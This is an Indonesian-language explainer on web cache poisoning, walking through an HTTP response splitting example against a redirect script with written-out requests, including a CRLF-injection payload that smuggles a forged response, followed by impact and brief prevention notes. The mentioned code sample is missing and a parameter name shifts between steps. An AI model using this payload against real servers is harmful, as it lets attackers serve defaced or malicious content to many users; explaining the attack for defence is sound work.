Cache Poisoning: Pengertian, Contoh, dan Pencegahan

Cache Poisoning adalah serangan keamanan yang ditujukan untuk meracuni (mengkontaminasi) cache sebuah sistem atau jaringan.

Tujuan utama serangan ini adalah memasukkan informasi palsu atau berbahaya ke dalam cache, yang nantinya akan diberikan kepada pengguna yang meminta data tersebut.

Cache Poisoning dapat memiliki dampak serius pada kerahasiaan, integritas, dan keandalan data yang disajikan oleh sistem cache.

Sekilas Cache dalam Konteks Internet

Cache adalah komponen penting dalam infrastruktur internet yang digunakan untuk menyimpan salinan data atau halaman web yang sering diminta.

Ini memungkinkan pengiriman data yang lebih cepat kepada pengguna karena data tidak perlu diambil dari sumber aslinya setiap kali ada permintaan.

Faktor Keberhasilan Serangan Cache Poisoning

  • Menemukan kode layanan yang rentan, yang memungkinkan mereka mengisi kolom header HTTP dengan banyak header.
  • Memaksa server cache untuk membuang konten cache sebenarnya, yang ingin kita cache oleh server.
  • Mengirim permintaan yang dibuat khusus, yang akan disimpan dalam cache.
  • Mengirim permintaan berikutnya. Konten yang dimasukkan sebelumnya yang disimpan dalam cache akan menjadi respons terhadap permintaan ini.

Meskipun begitu, cache poisoning ini agak sulit dilakukan di lingkungan nyata. Daftar syaratnya panjang dan sulit dipenuhi oleh penyerang. Namun teknik ini lebih mudah digunakan dibandingkan Cross-User Defacement.

Serangan Cache Poisoning mungkin terjadi karena HTTP Response Splitting dan kelemahan pada aplikasi web. Penting dari sudut pandang penyerang bahwa aplikasi memungkinkan pengisian kolom header dengan lebih dari satu header menggunakan karakter CRLF atau CR (Carriage Return) dan LF (Line Feed).

Cara Kerja Cache Poisoning

Serangan Cache Poisoning melibatkan penyerang yang mencoba memanipulasi cache dengan menyisipkan data palsu atau berbahaya.

Ini dapat dilakukan melalui berbagai teknik, termasuk mengirimkan permintaan yang meracuni cache atau memanipulasi respon yang diberikan kepada cache.

Contoh Serangan Cache Poisoning

Asumsikan hacker telah menemukan halaman web, yang mendapatkan nama layanannya dari argumen “page” dan kemudian mengalihkan (302) ke layanan ini.

http://example.com/redir.php?page=http://other.example.com/

Dan sebagai sample contoh kode redir.php sebagai berikut:

Untuk melakukan serangan Cache Poisoning hacker akan membuat permintaan yang sesuai:

1. Hapus Cache dari Halaman

Dapat hacker lakukan dengan membuat permintaan metode GET sebagai berikut:

GET http://example.com/index.html HTTP/1.1
Pragma: no-cache
Host: testsite.com
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
image/png, /
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

Field HTTP header Pragma: no-cache dan Cache-Control: no-cache harus menghapus halaman dari cache (tentu saja jika halaman disimpan dalam cache).

2. Menggunakan HTTP Response Splitting

Untuk memaksa server cache menghasilkan dua respon terhadap satu permintaan, hacker akan menggunakan serangan HTTP Response Splitting.

GET http://example.com/redir.php?site=%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-
Modified:%20Mon,%2027%20Dec%202023%2014:50:18%20GMT%0d%0aConte
nt-Length:%2020%0d%0aContent-
Type:%20text/html%0d%0a%0d%0adeface! HTTP/1.1
Host: example.com
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
image/png, /
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

Kami sengaja menyetel waktu mendatang (di header disetel ke 27 December 2023) di header HTTP respons kedua “Last Modified” untuk menyimpan respons di cache.

Penyerang mungkin mendapatkan efek ini dengan mengatur header berikut:

  • Last-Modified (diperiksa oleh header If-Modified- Since)
  • ETag (diperiksa oleh header If-None-Match header)

3. Mengirim Permintaan Halaman

Hacker akan mengirim permintaan halaman yang Ingin hacker ganti di server cache

GET http://example.com/index.html HTTP/1.1
Host: example.com
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
image/png, /
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

Secara teori, server cache harus mencocokkan jawaban kedua dari permintaan #2 hingga permintaan #3. Dengan cara ini kami telah mengganti content cache.

Permintaan lainnya harus dijalankan selama satu koneksi (jika server cache tidak memerlukan metode yang lebih canggih untuk digunakan), mungkin segera satu demi satu.

Tampaknya bermasalah untuk menggunakan serangan ini sebagai teknik universal untuk Cache Poisoning.

Hal ini disebabkan oleh perbedaan model koneksi server cache dan implementasi pemrosesan permintaan. Apa artinya? Misalnya metode efektif untuk meracuni cache Apache 2.x dengan modul mod_proxy dan mod_cache tidak akan berfungsi dengan Squid.

Masalah lainnya adalah panjang URL, yang terkadang membuat respon header yang diperlukan tidak dapat ditempatkan, yang selanjutnya akan dicocokkan dengan permintaan untuk halaman yang teracuni.

Dampak Serangan Cache Poisoning

Cache Poisoning

Dampak dari Cache Poisoning dapat sangat serius. Misalnya, jika cache sistem DNS terkontaminasi, ini dapat mengarah pada pengalihan lalu lintas web yang salah. Sehingga pengguna diarahkan ke situs palsu atau berbahaya.

Selain itu, serangan semacam ini dapat memengaruhi integritas data yang disajikan kepada pengguna, seperti informasi dalam situs web atau aplikasi.

Dampak dari respons jahat dapat diperbesar jika di-cache baik oleh web cache yang digunakan oleh banyak pengguna atau bahkan browser cache dari satu pengguna.

Jika respons disimpan dalam cache di shared web cache, seperti yang biasa ditemukan di server proxy, maka semua pengguna cache tersebut akan terus menerima konten berbahaya hingga entri cache dihapus.

Demikian pula, jika respons di-cache pada browser masing-masing pengguna, maka pengguna tersebut akan terus menerima konten berbahaya hingga entri cache dihapus, meskipun hanya pengguna browser lokal yang akan terpengaruh.

Pencegahan terhadap Cache Poisoning

Untuk melindungi terhadap serangan Cache Poisoning, perlu diimplementasikan langkah-langkah keamanan yang kuat.

Ini termasuk memastikan bahwa cache disaring dan tidak menerima data yang tidak valid atau tidak sah.

Penggunaan kontrol akses yang ketat dan pemantauan aktivitas yang mencurigakan juga merupakan praktik yang baik.

Penutup

Cache Poisoning adalah serangan yang memerlukan perhatian khusus dalam upaya menjaga keamanan dan integritas sistem cache di seluruh infrastruktur internet. Dengan langkah-langkah keamanan yang tepat, risiko dari serangan semacam ini dapat diminimalkan.

Tekan ESC untuk keluar